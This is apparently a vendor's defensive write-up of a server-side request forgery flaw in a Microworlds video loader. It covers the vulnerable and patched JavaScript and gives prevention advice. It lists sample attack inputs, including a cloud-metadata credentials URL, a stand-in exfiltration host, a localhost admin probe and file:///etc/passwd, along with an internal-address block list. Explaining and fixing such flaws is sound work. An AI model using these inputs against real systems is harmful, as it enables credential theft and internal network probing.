How Server-Side Request Forgery (SSRF) Happens in JavaScript and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Server-Side Request Forgery (SSRF) |
| CWE | CWE-918 |
| Language | JavaScript |
| Risk | Attackers can make the application fetch arbitrary internal or external URLs |
| Root Cause | User-controlled URL passed directly to fetch() without validation |
| Fix | Parse URL with new URL() and enforce http:/https: protocol allowlist |
Introduction
The libraries/microworlds/video.js file handles video loading for the Microworlds environment — a seemingly straightforward task of fetching a video resource by URL. But a flaw in VideoCanvasWrapper.loadVideo() at line 213 turned this routine operation into a serious security risk: any URL a user could pass to the vid_costume primitive would be handed directly to fetch() with zero validation.
This is a textbook Server-Side Request Forgery (SSRF) vulnerability. The function trusted the caller completely, meaning an attacker who could influence the src argument could point the application at internal services, cloud metadata endpoints, or attacker-controlled servers — all without any warning or restriction.
The Vulnerability Explained
What the Code Was Doing
Before the fix, VideoCanvasWrapper.loadVideo() looked like this:
VideoCanvasWrapper.prototype.loadVideo = function(src){
fetch(src).then(function(response) {
return response;
}).catch(function() {
// ...
});
}
The src parameter flows directly into fetch() — no parsing, no protocol check, no domain restriction. Whatever string arrives as src, the browser or runtime will dutifully attempt to fetch it.
How an Attacker Would Exploit This
The vid_costume primitive in the Microworlds environment is the user-facing entry point that calls loadVideo(). An attacker (or a malicious project shared with another user) could invoke it like this:
vid_costume(sprite, 'http://localhost:8080/admin', false, 'Loading')
This would cause the application to make an HTTP request to the local machine's admin interface on port 8080 — a port that would normally be inaccessible from the outside. The response data could then be exfiltrated or used to probe the internal network topology.
Other concrete attack scenarios include:
- Cloud metadata exfiltration:
http://169.254.169.254/latest/meta-data/iam/security-credentials/— the AWS instance metadata endpoint, which can expose IAM credentials. - Internal service enumeration: Looping through
http://192.168.1.1throughhttp://192.168.1.254to map internal network services. - Data exfiltration to attacker servers:
https://evil.example.com/collect?data=...to send internal data outbound. - Non-HTTP protocol abuse:
file:///etc/passwdorftp://internal-server/if the runtime supports those schemes.
Why This Matters for Microworlds
Microworlds projects can be shared between users. A malicious project author could embed a crafted vid_costume call that silently probes the victim's local network or internal services when another user opens the project. The victim would see only a video loading spinner — while their machine makes requests they never intended.
The Fix
What Changed
The fix adds a validation block at the very top of VideoCanvasWrapper.loadVideo(), before fetch() is ever called:
VideoCanvasWrapper.prototype.loadVideo = function(src){
// NEW: Parse and validate the URL before fetching
var parsedUrl;
try {
parsedUrl = new URL(src);
} catch(e) {
throw new Error("Invalid video URL.");
}
if(parsedUrl.protocol !== 'https:' && parsedUrl.protocol !== 'http:') {
throw new Error("Video URL must use http or https protocol.");
}
// Only reaches fetch() if URL is valid and uses http/https
fetch(src).then(function(response) {
return response;
}).catch(function() {
// ...
});
}
Before vs. After
Before (vulnerable):
VideoCanvasWrapper.prototype.loadVideo = function(src){
fetch(src).then(function(response) {
return response;
}).catch(function() { /* ... */ });
}
After (fixed):
VideoCanvasWrapper.prototype.loadVideo = function(src){
var parsedUrl;
try {
parsedUrl = new URL(src);
} catch(e) {
throw new Error("Invalid video URL.");
}
if(parsedUrl.protocol !== 'https:' && parsedUrl.protocol !== 'http:') {
throw new Error("Video URL must use http or https protocol.");
}
fetch(src).then(function(response) {
return response;
}).catch(function() { /* ... */ });
}
Why This Fix Works
Step 1 — new URL(src): The built-in URL constructor is the correct tool for parsing URLs. It is not fooled by encoding tricks, null bytes, or malformed strings that might slip past a regex. If src cannot be parsed as a valid URL, it throws a TypeError immediately, which the catch block converts into a clear error message.
Step 2 — Protocol allowlist: After parsing, parsedUrl.protocol is checked against an explicit allowlist of 'https:' and 'http:'. This single check eliminates:
- file:// — local filesystem reads
- ftp:// — FTP requests
- data: — inline data URIs that could bypass other checks
- javascript: — JavaScript execution via URL
- Any other non-standard scheme
The combination of these two steps means fetch() is only ever called with a structurally valid URL that uses a web-standard protocol. Localhost and internal IP addresses are not explicitly blocked by this fix (which would require hostname validation as a further hardening step), but the protocol restriction alone eliminates the most dangerous attack vectors like file:// and custom scheme abuse.
Prevention & Best Practices
1. Always Parse URLs with a Proper Parser
Never use string matching or regex alone to validate URLs. The URL constructor in modern JavaScript is reliable and handles edge cases that manual parsing misses:
// ❌ Fragile — easily bypassed
if (src.startsWith('https://')) { fetch(src); }
// ✅ Correct — uses the URL parser
try {
const parsed = new URL(src);
if (parsed.protocol !== 'https:') throw new Error('Protocol not allowed');
fetch(src);
} catch(e) {
console.error('Invalid URL:', e.message);
}
2. Consider a Hostname Allowlist for Stricter Control
The current fix blocks dangerous protocols but does not restrict which hostnames can be fetched. For a higher-security environment, add an explicit hostname allowlist:
const ALLOWED_HOSTS = ['cdn.example.com', 'media.example.com'];
if (!ALLOWED_HOSTS.includes(parsedUrl.hostname)) {
throw new Error("Video URL hostname is not permitted.");
}
3. Block Internal IP Ranges (Defense in Depth)
If hostname allowlisting is not feasible, consider blocking known internal ranges:
const BLOCKED_PATTERNS = [/^localhost$/i, /^127\./, /^10\./, /^192\.168\./, /^169\.254\./];
if (BLOCKED_PATTERNS.some(p => p.test(parsedUrl.hostname))) {
throw new Error("Video URL must not point to internal addresses.");
}
4. Apply the Same Pattern Everywhere fetch() is Called
Search your codebase for every call to fetch(), XMLHttpRequest, axios.get(), or similar network primitives. Any that accept user-controlled URLs need the same URL validation treatment.
5. Use Static Analysis to Catch This Early
Tools that can detect unvalidated URL usage flowing into fetch():
- Semgrep: Rules for tainted data flowing to
fetch()— see semgrep.dev rules for SSRF - CodeQL: JavaScript/TypeScript SSRF query pack
- Orbis AppSec: Automatically traced the
srcparameter fromvid_costumethrough tofetch()and flagged the missing validation
6. OWASP Guidance
OWASP classifies SSRF as part of the OWASP Top 10 (A10:2021 – Server-Side Request Forgery) and provides a dedicated SSRF Prevention Cheat Sheet.
Key Takeaways
VideoCanvasWrapper.loadVideo()was the exact sink — any SSRF fix in this file must gate thefetch()call, not just log or catch errors after the fact.- The
vid_costumeprimitive is a user-facing entry point — user-controlled data reachedfetch()through a code path that appeared to be a simple media feature, not an obvious security boundary. new URL()is the right tool for URL validation in JavaScript — string prefix checks likestartsWith('https://')are insufficient and bypassable.- Protocol allowlisting eliminates entire classes of attack — blocking everything except
http:andhttps:removesfile://,ftp://,data:, and custom scheme abuse in a single check. - SSRF can hide in media and asset loading code — not just in explicit API proxy endpoints. Any function that calls
fetch()with external input is a potential SSRF vector.
How Orbis AppSec Detected This
- Source: The
srcparameter ofVideoCanvasWrapper.loadVideo(), supplied by user input via thevid_costumeMicroworlds primitive. - Sink:
fetch(src)atlibraries/microworlds/video.js:213, called with the unvalidatedsrcvalue. - Missing control: No URL parsing, protocol validation, or hostname restriction was present before the
fetch()call. - CWE: CWE-918 — Server-Side Request Forgery (SSRF).
- Fix: Added
new URL()parsing with atry/catchblock and a protocol allowlist check (http:andhttps:only) beforefetch()is invoked.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The SSRF vulnerability in VideoCanvasWrapper.loadVideo() is a reminder that security boundaries exist everywhere user input flows into network calls — not just in obvious places like login forms or API endpoints. A video loading utility in an educational coding environment is just as capable of becoming an SSRF vector as a dedicated HTTP proxy, if the URL it receives is never validated.
The fix is elegant precisely because it is minimal: two validation steps added before the existing fetch() call, with no changes to the happy path for legitimate http:// and https:// video URLs. The URL constructor handles the heavy lifting of parsing, and the protocol check enforces the allowlist. Together, they close the attack surface without breaking any valid use case.
When you write code that calls fetch() — or any other network primitive — with a URL that could be influenced by user input, treat that URL as untrusted data. Parse it. Check its protocol. Consider its hostname. Then fetch.